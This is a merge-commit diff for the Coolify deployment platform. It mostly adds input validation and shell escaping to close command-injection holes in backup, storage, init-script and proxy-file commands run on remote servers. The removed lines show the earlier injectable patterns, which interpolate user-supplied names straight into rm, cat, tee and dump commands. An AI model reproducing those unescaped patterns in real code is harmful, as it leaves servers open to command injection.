Merge branch 'next' into shadow/improve-service-postgresus

This commit is contained in:
Andras Bacsai 2025-11-28 10:18:45 +01:00 committed by GitHub
commit c4ebf951fa
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
37 changed files with 1456 additions and 162 deletions

View file

@ -75,6 +75,10 @@ public function handle(Server $server, bool $async = true, bool $force = false,
' done',
" echo 'Successfully stopped and removed existing coolify-proxy.'",
'fi',
]);
// Ensure required networks exist BEFORE docker compose up (networks are declared as external)
$commands = $commands->merge(ensureProxyNetworksExist($server));
$commands = $commands->merge([
"echo 'Starting coolify-proxy.'",
'docker compose up -d --wait --remove-orphans',
"echo 'Successfully started coolify-proxy.'",

View file

@ -202,7 +202,8 @@ protected function createBackup(): void
exec($command, $output, $returnCode);
} catch (\Exception $e) {
// Silently continue
// Log failure but continue - backup is optional safeguard
Log::warning('Name cleanup backup failed', ['error' => $e->getMessage()]);
}
}

View file

@ -50,6 +50,7 @@ private function syncReleasesToGitHubRepo(): bool
// Clone the repository
$this->info('Cloning coolify-cdn repository...');
$output = [];
exec('gh repo clone coollabsio/coolify-cdn '.escapeshellarg($tmpDir).' 2>&1', $output, $returnCode);
if ($returnCode !== 0) {
$this->error('Failed to clone repository: '.implode("\n", $output));
@ -59,6 +60,7 @@ private function syncReleasesToGitHubRepo(): bool
// Create feature branch
$this->info('Creating feature branch...');
$output = [];
exec('cd '.escapeshellarg($tmpDir).' && git checkout -b '.escapeshellarg($branchName).' 2>&1', $output, $returnCode);
if ($returnCode !== 0) {
$this->error('Failed to create branch: '.implode("\n", $output));
@ -96,6 +98,7 @@ private function syncReleasesToGitHubRepo(): bool
// Stage and commit
$this->info('Committing changes...');
$output = [];
exec('cd '.escapeshellarg($tmpDir).' && git add json/releases.json 2>&1', $output, $returnCode);
if ($returnCode !== 0) {
$this->error('Failed to stage changes: '.implode("\n", $output));
@ -133,6 +136,7 @@ private function syncReleasesToGitHubRepo(): bool
// Push to remote
$this->info('Pushing branch to remote...');
$output = [];
exec('cd '.escapeshellarg($tmpDir).' && git push origin '.escapeshellarg($branchName).' 2>&1', $output, $returnCode);
if ($returnCode !== 0) {
$this->error('Failed to push branch: '.implode("\n", $output));
@ -146,6 +150,7 @@ private function syncReleasesToGitHubRepo(): bool
$prTitle = 'Update releases.json - '.date('Y-m-d H:i:s');
$prBody = 'Automated update of releases.json with latest '.count($releases).' releases from GitHub API';
$prCommand = 'gh pr create --repo coollabsio/coolify-cdn --title '.escapeshellarg($prTitle).' --body '.escapeshellarg($prBody).' --base main --head '.escapeshellarg($branchName).' 2>&1';
$output = [];
exec($prCommand, $output, $returnCode);
// Clean up
@ -211,6 +216,7 @@ private function syncReleasesAndVersionsToGitHubRepo(string $versionsLocation, b
// 3. Clone the repository
$this->info('Cloning coolify-cdn repository...');
$output = [];
exec('gh repo clone coollabsio/coolify-cdn '.escapeshellarg($tmpDir).' 2>&1', $output, $returnCode);
if ($returnCode !== 0) {
$this->error('Failed to clone repository: '.implode("\n", $output));
@ -220,6 +226,7 @@ private function syncReleasesAndVersionsToGitHubRepo(string $versionsLocation, b
// 4. Create feature branch
$this->info('Creating feature branch...');
$output = [];
exec('cd '.escapeshellarg($tmpDir).' && git checkout -b '.escapeshellarg($branchName).' 2>&1', $output, $returnCode);
if ($returnCode !== 0) {
$this->error('Failed to create branch: '.implode("\n", $output));
@ -274,6 +281,7 @@ private function syncReleasesAndVersionsToGitHubRepo(string $versionsLocation, b
// 7. Stage both files
$this->info('Staging changes...');
$output = [];
exec('cd '.escapeshellarg($tmpDir).' && git add json/releases.json '.escapeshellarg($versionsTargetPath).' 2>&1', $output, $returnCode);
if ($returnCode !== 0) {
$this->error('Failed to stage changes: '.implode("\n", $output));
@ -303,6 +311,7 @@ private function syncReleasesAndVersionsToGitHubRepo(string $versionsLocation, b
// 9. Commit changes
$envLabel = $nightly ? 'NIGHTLY' : 'PRODUCTION';
$commitMessage = "Update releases.json and $envLabel versions.json to $actualVersion - ".date('Y-m-d H:i:s');
$output = [];
exec('cd '.escapeshellarg($tmpDir).' && git commit -m '.escapeshellarg($commitMessage).' 2>&1', $output, $returnCode);
if ($returnCode !== 0) {
$this->error('Failed to commit changes: '.implode("\n", $output));
@ -313,6 +322,7 @@ private function syncReleasesAndVersionsToGitHubRepo(string $versionsLocation, b
// 10. Push to remote
$this->info('Pushing branch to remote...');
$output = [];
exec('cd '.escapeshellarg($tmpDir).' && git push origin '.escapeshellarg($branchName).' 2>&1', $output, $returnCode);
if ($returnCode !== 0) {
$this->error('Failed to push branch: '.implode("\n", $output));
@ -326,6 +336,7 @@ private function syncReleasesAndVersionsToGitHubRepo(string $versionsLocation, b
$prTitle = "Update releases.json and $envLabel versions.json to $actualVersion - ".date('Y-m-d H:i:s');
$prBody = "Automated update:\n- releases.json with latest ".count($releases)." releases from GitHub API\n- $envLabel versions.json to version $actualVersion";
$prCommand = 'gh pr create --repo coollabsio/coolify-cdn --title '.escapeshellarg($prTitle).' --body '.escapeshellarg($prBody).' --base main --head '.escapeshellarg($branchName).' 2>&1';
$output = [];
exec($prCommand, $output, $returnCode);
// 12. Clean up

View file

@ -351,7 +351,7 @@ public function create_service(Request $request)
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
];
if ($oneClickServiceName === 'cloudflared') {
if ($oneClickServiceName === 'pgadmin') {
data_set($servicePayload, 'connect_to_docker_network', true);
}
$service = Service::create($servicePayload);

View file

@ -489,17 +489,22 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi
$collectionsToExclude = collect();
}
$commands[] = 'mkdir -p '.$this->backup_dir;
// Validate and escape database name to prevent command injection
validateShellSafePath($databaseName, 'database name');
$escapedDatabaseName = escapeshellarg($databaseName);
if ($collectionsToExclude->count() === 0) {
if (str($this->database->image)->startsWith('mongo:4')) {
$commands[] = "docker exec $this->container_name mongodump --uri=\"$url\" --gzip --archive > $this->backup_location";
} else {
$commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $databaseName --gzip --archive > $this->backup_location";
$commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --archive > $this->backup_location";
}
} else {
if (str($this->database->image)->startsWith('mongo:4')) {
$commands[] = "docker exec $this->container_name mongodump --uri=$url --gzip --excludeCollection ".$collectionsToExclude->implode(' --excludeCollection ')." --archive > $this->backup_location";
} else {
$commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $databaseName --gzip --excludeCollection ".$collectionsToExclude->implode(' --excludeCollection ')." --archive > $this->backup_location";
$commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --excludeCollection ".$collectionsToExclude->implode(' --excludeCollection ')." --archive > $this->backup_location";
}
}
}
@ -525,7 +530,10 @@ private function backup_standalone_postgresql(string $database): void
if ($this->backup->dump_all) {
$backupCommand .= " $this->container_name pg_dumpall --username {$this->database->postgres_user} | gzip > $this->backup_location";
} else {
$backupCommand .= " $this->container_name pg_dump --format=custom --no-acl --no-owner --username {$this->database->postgres_user} $database > $this->backup_location";
// Validate and escape database name to prevent command injection
validateShellSafePath($database, 'database name');
$escapedDatabase = escapeshellarg($database);
$backupCommand .= " $this->container_name pg_dump --format=custom --no-acl --no-owner --username {$this->database->postgres_user} $escapedDatabase > $this->backup_location";
}
$commands[] = $backupCommand;
@ -547,7 +555,10 @@ private function backup_standalone_mysql(string $database): void
if ($this->backup->dump_all) {
$commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" --all-databases --single-transaction --quick --lock-tables=false --compress | gzip > $this->backup_location";
} else {
$commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" $database > $this->backup_location";
// Validate and escape database name to prevent command injection
validateShellSafePath($database, 'database name');
$escapedDatabase = escapeshellarg($database);
$commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" $escapedDatabase > $this->backup_location";
}
$this->backup_output = instant_remote_process($commands, $this->server);
$this->backup_output = trim($this->backup_output);
@ -567,7 +578,10 @@ private function backup_standalone_mariadb(string $database): void
if ($this->backup->dump_all) {
$commands[] = "docker exec $this->container_name mariadb-dump -u root -p\"{$this->database->mariadb_root_password}\" --all-databases --single-transaction --quick --lock-tables=false --compress > $this->backup_location";
} else {
$commands[] = "docker exec $this->container_name mariadb-dump -u root -p\"{$this->database->mariadb_root_password}\" $database > $this->backup_location";
// Validate and escape database name to prevent command injection
validateShellSafePath($database, 'database name');
$escapedDatabase = escapeshellarg($database);
$commands[] = "docker exec $this->container_name mariadb-dump -u root -p\"{$this->database->mariadb_root_password}\" $escapedDatabase > $this->backup_location";
}
$this->backup_output = instant_remote_process($commands, $this->server);
$this->backup_output = trim($this->backup_output);

View file

@ -168,6 +168,9 @@ public function handle(): void
if (! $this->server->isBuildServer()) {
$proxyShouldRun = CheckProxy::run($this->server, true);
if ($proxyShouldRun) {
// Ensure networks exist BEFORE dispatching async proxy startup
// This prevents race condition where proxy tries to start before networks are created
instant_remote_process(ensureProxyNetworksExist($this->server)->toArray(), $this->server, false);
StartProxy::dispatch($this->server);
}
}

View file

@ -107,6 +107,25 @@ public function syncData(bool $toModel = false)
$this->backup->save_s3 = $this->saveS3;
$this->backup->disable_local_backup = $this->disableLocalBackup;
$this->backup->s3_storage_id = $this->s3StorageId;
// Validate databases_to_backup to prevent command injection
if (filled($this->databasesToBackup)) {
$databases = str($this->databasesToBackup)->explode(',');
foreach ($databases as $index => $db) {
$dbName = trim($db);
try {
validateShellSafePath($dbName, 'database name');
} catch (\Exception $e) {
// Provide specific error message indicating which database failed validation
$position = $index + 1;
throw new \Exception(
"Database #{$position} ('{$dbName}') validation failed: ".
$e->getMessage()
);
}
}
}
$this->backup->databases_to_backup = $this->databasesToBackup;
$this->backup->dump_all = $this->dumpAll;
$this->backup->timeout = $this->timeout;

View file

@ -328,12 +328,15 @@ public function save_init_script($script)
$configuration_dir = database_configuration_dir().'/'.$container_name;
if ($oldScript && $oldScript['filename'] !== $script['filename']) {
$old_file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$oldScript['filename']}";
$delete_command = "rm -f $old_file_path";
try {
// Validate and escape filename to prevent command injection
validateShellSafePath($oldScript['filename'], 'init script filename');
$old_file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$oldScript['filename']}";
$escapedOldPath = escapeshellarg($old_file_path);
$delete_command = "rm -f {$escapedOldPath}";
instant_remote_process([$delete_command], $this->server);
} catch (Exception $e) {
$this->dispatch('error', 'Failed to remove old init script from server: '.$e->getMessage());
$this->dispatch('error', $e->getMessage());
return;
}
@ -370,13 +373,17 @@ public function delete_init_script($script)
if ($found) {
$container_name = $this->database->uuid;
$configuration_dir = database_configuration_dir().'/'.$container_name;
$file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$script['filename']}";
$command = "rm -f $file_path";
try {
// Validate and escape filename to prevent command injection
validateShellSafePath($script['filename'], 'init script filename');
$file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$script['filename']}";
$escapedPath = escapeshellarg($file_path);
$command = "rm -f {$escapedPath}";
instant_remote_process([$command], $this->server);
} catch (Exception $e) {
$this->dispatch('error', 'Failed to remove init script from server: '.$e->getMessage());
$this->dispatch('error', $e->getMessage());
return;
}
@ -405,6 +412,16 @@ public function save_new_init_script()
'new_filename' => 'required|string',
'new_content' => 'required|string',
]);
try {
// Validate filename to prevent command injection
validateShellSafePath($this->new_filename, 'init script filename');
} catch (Exception $e) {
$this->dispatch('error', $e->getMessage());
return;
}
$found = collect($this->initScripts)->firstWhere('filename', $this->new_filename);
if ($found) {
$this->dispatch('error', 'Filename already exists.');

View file

@ -81,7 +81,7 @@ public function mount()
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
];
if ($oneClickServiceName === 'cloudflared' || $oneClickServiceName === 'pgadmin' || $oneClickServiceName === 'postgresus') {
if ($oneClickServiceName === 'pgadmin' || $oneClickServiceName === 'postgresus') {
data_set($service_payload, 'connect_to_docker_network', true);
}
$service = Service::create($service_payload);

View file

@ -179,6 +179,10 @@ public function submitFileStorageDirectory()
$this->file_storage_directory_destination = trim($this->file_storage_directory_destination);
$this->file_storage_directory_destination = str($this->file_storage_directory_destination)->start('/')->value();
// Validate paths to prevent command injection
validateShellSafePath($this->file_storage_directory_source, 'storage source path');
validateShellSafePath($this->file_storage_directory_destination, 'storage destination path');
\App\Models\LocalFileVolume::create([
'fs_path' => $this->file_storage_directory_source,
'mount_path' => $this->file_storage_directory_destination,

View file

@ -2,11 +2,14 @@
namespace App\Livewire\Project\Shared\EnvironmentVariable;
use App\Models\Environment;
use App\Models\EnvironmentVariable as ModelsEnvironmentVariable;
use App\Models\Project;
use App\Models\SharedEnvironmentVariable;
use App\Traits\EnvironmentVariableAnalyzer;
use App\Traits\EnvironmentVariableProtection;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Livewire\Attributes\Computed;
use Livewire\Component;
class Show extends Component
@ -184,6 +187,7 @@ public function submit()
$this->serialize();
$this->syncData(true);
$this->syncData(false);
$this->dispatch('success', 'Environment variable updated.');
$this->dispatch('envsUpdated');
$this->dispatch('configurationChanged');
@ -192,6 +196,72 @@ public function submit()
}
}
#[Computed]
public function availableSharedVariables(): array
{
$team = currentTeam();
$result = [
'team' => [],
'project' => [],
'environment' => [],
];
// Early return if no team
if (! $team) {
return $result;
}
// Check if user can view team variables
try {
$this->authorize('view', $team);
$result['team'] = $team->environment_variables()
->pluck('key')
->toArray();
} catch (\Illuminate\Auth\Access\AuthorizationException $e) {
// User not authorized to view team variables
}
// Get project variables if we have a project_uuid in route
$projectUuid = data_get($this->parameters, 'project_uuid');
if ($projectUuid) {
$project = Project::where('team_id', $team->id)
->where('uuid', $projectUuid)
->first();
if ($project) {
try {
$this->authorize('view', $project);
$result['project'] = $project->environment_variables()
->pluck('key')
->toArray();
// Get environment variables if we have an environment_uuid in route
$environmentUuid = data_get($this->parameters, 'environment_uuid');
if ($environmentUuid) {
$environment = $project->environments()
->where('uuid', $environmentUuid)
->first();
if ($environment) {
try {
$this->authorize('view', $environment);
$result['environment'] = $environment->environment_variables()
->pluck('key')
->toArray();
} catch (\Illuminate\Auth\Access\AuthorizationException $e) {
// User not authorized to view environment variables
}
}
}
} catch (\Illuminate\Auth\Access\AuthorizationException $e) {
// User not authorized to view project variables
}
}
}
return $result;
}
public function delete()
{
try {

View file

@ -25,13 +25,25 @@ public function delete(string $fileName)
$this->authorize('update', $this->server);
$proxy_path = $this->server->proxyPath();
$proxy_type = $this->server->proxyType();
// Decode filename: pipes are used to encode dots for Livewire property binding
// (e.g., 'my|service.yaml' -> 'my.service.yaml')
// This must happen BEFORE validation because validateShellSafePath() correctly
// rejects pipe characters as dangerous shell metacharacters
$file = str_replace('|', '.', $fileName);
// Validate filename to prevent command injection
validateShellSafePath($file, 'proxy configuration filename');
if ($proxy_type === 'CADDY' && $file === 'Caddyfile') {
$this->dispatch('error', 'Cannot delete Caddyfile.');
return;
}
instant_remote_process(["rm -f {$proxy_path}/dynamic/{$file}"], $this->server);
$fullPath = "{$proxy_path}/dynamic/{$file}";
$escapedPath = escapeshellarg($fullPath);
instant_remote_process(["rm -f {$escapedPath}"], $this->server);
if ($proxy_type === 'CADDY') {
$this->server->reloadCaddy();
}

View file

@ -41,6 +41,10 @@ public function addDynamicConfiguration()
'fileName' => 'required',
'value' => 'required',
]);
// Validate filename to prevent command injection
validateShellSafePath($this->fileName, 'proxy configuration filename');
if (data_get($this->parameters, 'server_uuid')) {
$this->server = Server::ownedByCurrentTeam()->whereUuid(data_get($this->parameters, 'server_uuid'))->first();
}
@ -65,8 +69,10 @@ public function addDynamicConfiguration()
}
$proxy_path = $this->server->proxyPath();
$file = "{$proxy_path}/dynamic/{$this->fileName}";
$escapedFile = escapeshellarg($file);
if ($this->newFile) {
$exists = instant_remote_process(["test -f $file && echo 1 || echo 0"], $this->server);
$exists = instant_remote_process(["test -f {$escapedFile} && echo 1 || echo 0"], $this->server);
if ($exists == 1) {
$this->dispatch('error', 'File already exists');
@ -80,7 +86,7 @@ public function addDynamicConfiguration()
}
$base64_value = base64_encode($this->value);
instant_remote_process([
"echo '{$base64_value}' | base64 -d | tee {$file} > /dev/null",
"echo '{$base64_value}' | base64 -d | tee {$escapedFile} > /dev/null",
], $this->server);
if ($proxy_type === 'CADDY') {
$this->server->reloadCaddy();

View file

@ -206,6 +206,9 @@ public function validateDockerVersion()
if (! $proxyShouldRun) {
return;
}
// Ensure networks exist BEFORE dispatching async proxy startup
// This prevents race condition where proxy tries to start before networks are created
instant_remote_process(ensureProxyNetworksExist($this->server)->toArray(), $this->server, false);
StartProxy::dispatch($this->server);
} else {
$requiredDockerVersion = str(config('constants.docker.minimum_required_version'))->before('.');

View file

@ -1035,7 +1035,7 @@ public function isLogDrainEnabled()
public function isConfigurationChanged(bool $save = false)
{
$newConfigHash = base64_encode($this->fqdn.$this->git_repository.$this->git_branch.$this->git_commit_sha.$this->build_pack.$this->static_image.$this->install_command.$this->build_command.$this->start_command.$this->ports_exposes.$this->ports_mappings.$this->custom_network_aliases.$this->base_directory.$this->publish_directory.$this->dockerfile.$this->dockerfile_location.$this->custom_labels.$this->custom_docker_run_options.$this->dockerfile_target_build.$this->redirect.$this->custom_nginx_configuration.$this->settings->use_build_secrets);
$newConfigHash = base64_encode($this->fqdn.$this->git_repository.$this->git_branch.$this->git_commit_sha.$this->build_pack.$this->static_image.$this->install_command.$this->build_command.$this->start_command.$this->ports_exposes.$this->ports_mappings.$this->custom_network_aliases.$this->base_directory.$this->publish_directory.$this->dockerfile.$this->dockerfile_location.$this->custom_labels.$this->custom_docker_run_options.$this->dockerfile_target_build.$this->redirect.$this->custom_nginx_configuration.$this->settings->use_build_secrets.$this->settings->inject_build_args_to_dockerfile.$this->settings->include_source_commit_in_build);
if ($this->pull_request_id === 0 || $this->pull_request_id === null) {
$newConfigHash .= json_encode($this->environment_variables()->get(['value', 'is_multiline', 'is_literal', 'is_buildtime', 'is_runtime'])->sort());
} else {

View file

@ -190,11 +190,11 @@ private function get_real_environment_variables(?string $environment_variable =
return $environment_variable;
}
foreach ($sharedEnvsFound as $sharedEnv) {
$type = str($sharedEnv)->match('/(.*?)\./');
$type = str($sharedEnv)->trim()->match('/(.*?)\./');
if (! collect(SHARED_VARIABLE_TYPES)->contains($type)) {
continue;
}
$variable = str($sharedEnv)->match('/\.(.*)/');
$variable = str($sharedEnv)->trim()->match('/\.(.*)/');
if ($type->value() === 'environment') {
$id = $resource->environment->id;
} elseif ($type->value() === 'project') {
@ -231,7 +231,7 @@ private function set_environment_variables(?string $environment_variable = null)
$environment_variable = trim($environment_variable);
$type = str($environment_variable)->after('{{')->before('.')->value;
if (str($environment_variable)->startsWith('{{'.$type) && str($environment_variable)->endsWith('}}')) {
return encrypt((string) str($environment_variable)->replace(' ', ''));
return encrypt($environment_variable);
}
return encrypt($environment_variable);

View file

@ -61,9 +61,14 @@ public function loadStorageOnServer()
$path = $path->after('.');
$path = $workdir.$path;
}
$isFile = instant_remote_process(["test -f $path && echo OK || echo NOK"], $server);
// Validate and escape path to prevent command injection
validateShellSafePath($path, 'storage path');
$escapedPath = escapeshellarg($path);
$isFile = instant_remote_process(["test -f {$escapedPath} && echo OK || echo NOK"], $server);
if ($isFile === 'OK') {
$content = instant_remote_process(["cat $path"], $server, false);
$content = instant_remote_process(["cat {$escapedPath}"], $server, false);
// Check if content contains binary data by looking for null bytes or non-printable characters
if (str_contains($content, "\0") || preg_match('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', $content)) {
$content = '[binary file]';
@ -91,14 +96,19 @@ public function deleteStorageOnServer()
$path = $path->after('.');
$path = $workdir.$path;
}
$isFile = instant_remote_process(["test -f $path && echo OK || echo NOK"], $server);
$isDir = instant_remote_process(["test -d $path && echo OK || echo NOK"], $server);
// Validate and escape path to prevent command injection
validateShellSafePath($path, 'storage path');
$escapedPath = escapeshellarg($path);
$isFile = instant_remote_process(["test -f {$escapedPath} && echo OK || echo NOK"], $server);
$isDir = instant_remote_process(["test -d {$escapedPath} && echo OK || echo NOK"], $server);
if ($path && $path != '/' && $path != '.' && $path != '..') {
if ($isFile === 'OK') {
$commands->push("rm -rf $path > /dev/null 2>&1 || true");
$commands->push("rm -rf {$escapedPath} > /dev/null 2>&1 || true");
} elseif ($isDir === 'OK') {
$commands->push("rm -rf $path > /dev/null 2>&1 || true");
$commands->push("rmdir $path > /dev/null 2>&1 || true");
$commands->push("rm -rf {$escapedPath} > /dev/null 2>&1 || true");
$commands->push("rmdir {$escapedPath} > /dev/null 2>&1 || true");
}
}
if ($commands->count() > 0) {
@ -135,10 +145,15 @@ public function saveStorageOnServer()
$path = $path->after('.');
$path = $workdir.$path;
}
$isFile = instant_remote_process(["test -f $path && echo OK || echo NOK"], $server);
$isDir = instant_remote_process(["test -d $path && echo OK || echo NOK"], $server);
// Validate and escape path to prevent command injection
validateShellSafePath($path, 'storage path');
$escapedPath = escapeshellarg($path);
$isFile = instant_remote_process(["test -f {$escapedPath} && echo OK || echo NOK"], $server);
$isDir = instant_remote_process(["test -d {$escapedPath} && echo OK || echo NOK"], $server);
if ($isFile === 'OK' && $this->is_directory) {
$content = instant_remote_process(["cat $path"], $server, false);
$content = instant_remote_process(["cat {$escapedPath}"], $server, false);
$this->is_directory = false;
$this->content = $content;
$this->save();
@ -151,8 +166,8 @@ public function saveStorageOnServer()
throw new \Exception('The following file is a directory on the server, but you are trying to mark it as a file. <br><br>Please delete the directory on the server or mark it as directory.');
}
instant_remote_process([
"rm -fr $path",
"touch $path",
"rm -fr {$escapedPath}",
"touch {$escapedPath}",
], $server, false);
FileStorageChanged::dispatch(data_get($server, 'team_id'));
}
@ -161,19 +176,19 @@ public function saveStorageOnServer()
$chown = data_get($this, 'chown');
if ($content) {
$content = base64_encode($content);
$commands->push("echo '$content' | base64 -d | tee $path > /dev/null");
$commands->push("echo '$content' | base64 -d | tee {$escapedPath} > /dev/null");
} else {
$commands->push("touch $path");
$commands->push("touch {$escapedPath}");
}
$commands->push("chmod +x $path");
$commands->push("chmod +x {$escapedPath}");
if ($chown) {
$commands->push("chown $chown $path");
$commands->push("chown $chown {$escapedPath}");
}
if ($chmod) {
$commands->push("chmod $chmod $path");
$commands->push("chmod $chmod {$escapedPath}");
}
} elseif ($isDir === 'NOK' && $this->is_directory) {
$commands->push("mkdir -p $path > /dev/null 2>&1 || true");
$commands->push("mkdir -p {$escapedPath} > /dev/null 2>&1 || true");
}
return instant_remote_process($commands, $server);

View file

@ -26,6 +26,7 @@ public function __construct(
public bool $disabled = false,
public bool $readonly = false,
public ?string $helper = null,
public bool $allowToPeak = true,
public string $defaultClass = 'input',
public string $autocomplete = 'off',
public ?int $minlength = null,
@ -72,6 +73,10 @@ public function render(): View|Closure|string
$this->name = $this->modelBinding !== 'null' ? $this->modelBinding : (string) $this->id;
}
if ($this->type === 'password') {
$this->defaultClass = $this->defaultClass.' pr-[2.8rem]';
}
$this->scopeUrls = [
'team' => route('shared-variables.team.index'),
'project' => route('shared-variables.project.index'),

View file

@ -1644,9 +1644,16 @@ function serviceParser(Service $resource): Collection
if ($value && get_class($value) === \Illuminate\Support\Stringable::class && $value->startsWith('/')) {
$path = $value->value();
if ($path !== '/') {
$fqdn = "$fqdn$path";
$url = "$url$path";
$fqdnValueForEnv = "$fqdnValueForEnv$path";
// Only add path if it's not already present (prevents duplication on subsequent parse() calls)
if (! str($fqdn)->endsWith($path)) {
$fqdn = "$fqdn$path";
}
if (! str($url)->endsWith($path)) {
$url = "$url$path";
}
if (! str($fqdnValueForEnv)->endsWith($path)) {
$fqdnValueForEnv = "$fqdnValueForEnv$path";
}
}
}

View file

@ -108,6 +108,37 @@ function connectProxyToNetworks(Server $server)
return $commands->flatten();
}
/**
* Ensures all required networks exist before docker compose up.
* This must be called BEFORE docker compose up since the compose file declares networks as external.
*
* @param Server $server The server to ensure networks on
* @return \Illuminate\Support\Collection Commands to create networks if they don't exist
*/
function ensureProxyNetworksExist(Server $server)
{
['allNetworks' => $networks] = collectDockerNetworksByServer($server);
if ($server->isSwarm()) {
$commands = $networks->map(function ($network) {
return [
"echo 'Ensuring network $network exists...'",
"docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --driver overlay --attachable $network",
];
});
} else {
$commands = $networks->map(function ($network) {
return [
"echo 'Ensuring network $network exists...'",
"docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --attachable $network",
];
});
}
return $commands->flatten();
}
function extractCustomProxyCommands(Server $server, string $existing_config): array
{
$custom_commands = [];

View file

@ -23,38 +23,56 @@ function shouldChangeOwnership(string $path): bool
function parseCommandsByLineForSudo(Collection $commands, Server $server): array
{
$commands = $commands->map(function ($line) {
if (
! str(trim($line))->startsWith([
'cd',
'command',
'echo',
'true',
'if',
'fi',
'for',
'do',
'done',
'while',
'until',
'case',
'esac',
'select',
'then',
'else',
'elif',
'break',
'continue',
'#',
])
) {
return "sudo $line";
$trimmedLine = trim($line);
// All bash keywords that should not receive sudo prefix
// Using word boundary matching to avoid prefix collisions (e.g., 'do' vs 'docker', 'if' vs 'ifconfig', 'fi' vs 'find')
$bashKeywords = [
'cd',
'command',
'declare',
'echo',
'export',
'local',
'readonly',
'return',
'true',
'if',
'fi',
'for',
'done',
'while',
'until',
'case',
'esac',
'select',
'then',
'else',
'elif',
'break',
'continue',
'do',
];
// Special case: comments (no collision risk with '#')
if (str_starts_with($trimmedLine, '#')) {
return $line;
}
if (str(trim($line))->startsWith('if')) {
return str_replace('if', 'if sudo', $line);
// Check all keywords with word boundary matching
// Match keyword followed by space, semicolon, or end of line
foreach ($bashKeywords as $keyword) {
if (preg_match('/^'.preg_quote($keyword, '/').'(\s|;|$)/', $trimmedLine)) {
// Special handling for 'if' - insert sudo after 'if '
if ($keyword === 'if') {
return preg_replace('/^(\s*)if\s+/', '$1if sudo ', $line);
}
return $line;
}
}
return $line;
return "sudo $line";
});
$commands = $commands->map(function ($line) use ($server) {

View file

@ -2,7 +2,7 @@
return [
'coolify' => [
'version' => '4.0.0-beta.451',
'version' => '4.0.0-beta.452',
'helper_version' => '1.0.12',
'realtime_version' => '1.0.10',
'self_hosted' => env('SELF_HOSTED', true),

View file

@ -1,10 +1,10 @@
{
"coolify": {
"v4": {
"version": "4.0.0-beta.451"
"version": "4.0.0-beta.452"
},
"nightly": {
"version": "4.0.0-beta.452"
"version": "4.0.0-beta.453"
},
"helper": {
"version": "1.0.12"

View file

@ -10,7 +10,8 @@
</label>
@endif
<div x-data="{
<div class="relative" x-data="{
type: '{{ $type }}',
showDropdown: false,
suggestions: [],
selectedIndex: 0,
@ -181,8 +182,19 @@
}
}
}"
@click.outside="showDropdown = false"
class="relative">
@click.outside="showDropdown = false">
@if ($type === 'password' && $allowToPeak)
<div x-on:click="changePasswordFieldType"
class="flex absolute inset-y-0 right-0 items-center pr-2 cursor-pointer dark:hover:text-white z-10">
<svg xmlns="http://www.w3.org/2000/svg" class="w-6 h-6" viewBox="0 0 24 24" stroke-width="1.5"
stroke="currentColor" fill="none" stroke-linecap="round" stroke-linejoin="round">
<path stroke="none" d="M0 0h24v24H0z" fill="none" />
<path d="M10 12a2 2 0 1 0 4 0a2 2 0 0 0 -4 0" />
<path d="M21 12c-2.4 4 -5.4 6 -9 6c-3.6 0 -6.6 -2 -9 -6c2.4 -4 5.4 -6 9 -6c3.6 0 6.6 2 9 6" />
</svg>
</div>
@endif
<input
x-ref="input"
@ -198,7 +210,11 @@ class="relative">
wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4"
@endif
wire:loading.attr="disabled"
type="{{ $type }}"
@if ($type === 'password')
:type="type"
@else
type="{{ $type }}"
@endif
@disabled($disabled)
@if ($htmlId !== 'null') id="{{ $htmlId }}" @endif
name="{{ $name }}"

View file

@ -3,7 +3,9 @@
<x-slide-over @startdatabase.window="slideOverOpen = true" closeWithX fullScreen>
<x-slot:title>Database Startup</x-slot:title>
<x-slot:content>
<livewire:activity-monitor header="Logs" fullHeight />
<div wire:ignore>
<livewire:activity-monitor header="Logs" fullHeight />
</div>
</x-slot:content>
</x-slide-over>
<div class="navbar-main">

View file

@ -225,7 +225,9 @@ class="flex-1 p-6 border-2 rounded-sm cursor-pointer transition-all"
<x-slide-over @databaserestore.window="slideOverOpen = true" closeWithX fullScreen>
<x-slot:title>Database Restore Output</x-slot:title>
<x-slot:content>
<livewire:activity-monitor wire:key="database-restore-{{ $resource->uuid }}" header="Logs" fullHeight />
<div wire:ignore>
<livewire:activity-monitor wire:key="database-restore-{{ $resource->uuid }}" header="Logs" fullHeight />
</div>
</x-slot:content>
</x-slide-over>
@else

View file

@ -37,29 +37,23 @@
helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.<br><br>Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true."
label="Is Literal?" />
@else
@if ($is_shared)
<x-forms.checkbox instantSave id="is_literal"
helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.<br><br>Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true."
label="Is Literal?" />
@if ($isSharedVariable)
<x-forms.checkbox instantSave id="is_multiline" label="Is Multiline?" />
@else
@if ($isSharedVariable)
@if (!$env->is_nixpacks)
<x-forms.checkbox instantSave id="is_buildtime"
helper="Make this variable available during Docker build process. Useful for build secrets and dependencies."
label="Available at Buildtime" />
@endif
